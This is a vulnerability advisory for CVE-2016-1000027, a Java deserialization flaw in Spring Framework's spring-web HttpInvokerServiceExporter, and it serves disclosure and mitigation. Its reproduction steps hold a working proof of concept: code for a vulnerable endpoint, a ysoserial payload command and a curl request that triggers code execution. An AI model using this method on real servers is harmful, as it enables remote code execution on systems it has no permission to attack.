Overview
Spring is a Java framework typically used for enterprise and web applications, though it can be used for desktop applications, as well. It is composed of many modules and not all modules are used by every deployment.
A remote code execution vulnerability (CVE-2016-1000027) has been identified in the spring-web package in Spring Framework. This vulnerability allows users to exploit untrusted data deserialization through Java Object deserialization in spring-web’s HttpInvokerServiceExporter which does not check validity of objects before deserialization.
Per OWASP: “Data which is untrusted cannot be trusted to be well formed. Malformed data or unexpected data could be used to abuse application logic, deny service, or execute arbitrary code, when deserialized.”
This issue affects all versions of spring-web from Spring Framework prior to v6.0.0.
Details
Module Info
- Product: Spring Framework
- Affected packages: spring-web
- Affected versions: <6.0.0
- GitHub repository: https://github.com/spring-projects/spring-framework
- Published packages: https://central.sonatype.com/artifact/org.springframework/spring-web
- Package manager: Maven
Vulnerability Info
This critical-severity vulnerability is found in the spring-web.jar module of the Spring Framework.
In Spring Framework v5.1.0 and NES v4.3.32 the vulnerable classes were marked as deprecated. Deprecating a class in java is done to communicate to the developer that the class should not be used. The java compiler displays warnings whenever deprecated classes are used, and most IDEs also call attention to usage of deprecated classes.
Steps To Reproduce
These steps to reproduce are based on https://github.com/artem-smotrakov/cve-2016-1000027-poc/tree/main.
To reproduce this vulnerability in a controlled environment, you would need a Spring application running an affected version and an available end point.
1. Start a vulnerable Server with an endpoint using HttpInvokerServiceExporter.
a. Create a model.
public class Foo implements Serializable {
private String foo;
public Foo(String foo) {
this.foo = foo;
}
}
b. Create a service interface.
public interface FooService {
Foo doFoo(String foo) throws FooException;
}
c. Create an implementation of the service interface.
public class FooServiceImpl implements FooService {
@Override
public Foo doFoo(String foo) throws FooException {
return new Foo(foo);
}
}
d. Create and start the server.
@Bean(name = "/doFoo")
HttpInvokerServiceExporter fooService() {
HttpInvokerServiceExporter exporter = new HttpInvokerServiceExporter();
exporter.setService(new FooServiceImpl());
exporter.setServiceInterface(FooService.class);
return exporter;
}
2. Craft a malicious payload. For example, CommonsCollections5 from https://github.com/frohoff/ysoserial/tree/master.
java -jar ysoserial.jar CommonsCollections5 gedit > payload.bin
3. Send the request with the malicious payload
curl http://localhost:8080/doFoo \
-X POST \
--header "Content-Type: application/x-java-serialized-object" \
--header "Accept-Encoding: gzip" \
--data-binary "@payload.bin"
4. Take note of the results. If the exploit was successful, gedit should have opened on the host machine.
*Note: in some cases the thread processing the request may complete and exit before the malicious payload finishes executing. You may need to artificially slow down the server to reproduce the vulnerability in your simple test environment.
Credits
- Alvaro Muñoz from Micro Focus Fortify Research
Mitigation
Spring Framework 4 and 5 are no longer community-supported. The community support version will not receive any updates to address this issue. For more information, see here.
Users of the affected components should apply one of the following mitigations:
- Upgrade affected applications to supported versions of Spring Framework.
- Users of the affected components should avoid exposing HTTP Invoker endpoints to untrusted clients.